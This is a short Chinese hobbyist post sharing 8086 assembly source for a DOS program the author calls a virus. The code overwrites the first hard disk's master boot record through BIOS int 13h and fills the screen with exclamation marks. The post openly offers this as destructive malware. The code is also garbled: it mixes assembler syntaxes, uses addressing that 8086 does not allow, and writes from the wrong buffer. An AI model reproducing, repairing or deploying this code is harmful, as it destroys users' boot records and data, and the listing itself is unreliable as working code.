用8086汇编写DOS病毒--R01H.COM

之前研究了一下DOS和汇编，想做一个程序，就整个这玩意吧，顺便看看我编程水平
温馨提示：玩归玩，闹归闹，别拿磁盘主引导开玩笑，这程序会把磁C盘主引导弄坏，虚拟机运行记得备份系统

.model	tiny
; R01H - DOS Virus
; By Robert L. Ryan aka RYSF13
; Open-source but for reference only
;overwrite MBR section
[ORG 	0100H]
mov		ax,		0
mov		es,		ax
mov		bx,		200h
mov		al,		1
mov		ch,		0
mov		cl,		1
mov		dh,		0
mov		dl,		80h
mov		ah,		3
int		13h
;fill display buffer
mov		ax,		b800h
mov		es,		ax
mov		cx,		800h
jmp		d
d:
mov		byte[es:cx],	"!"
loop d
;MBR data
org		200h
times	512		db		"$"

写二进制程序，中电子病毒，见证赛博死机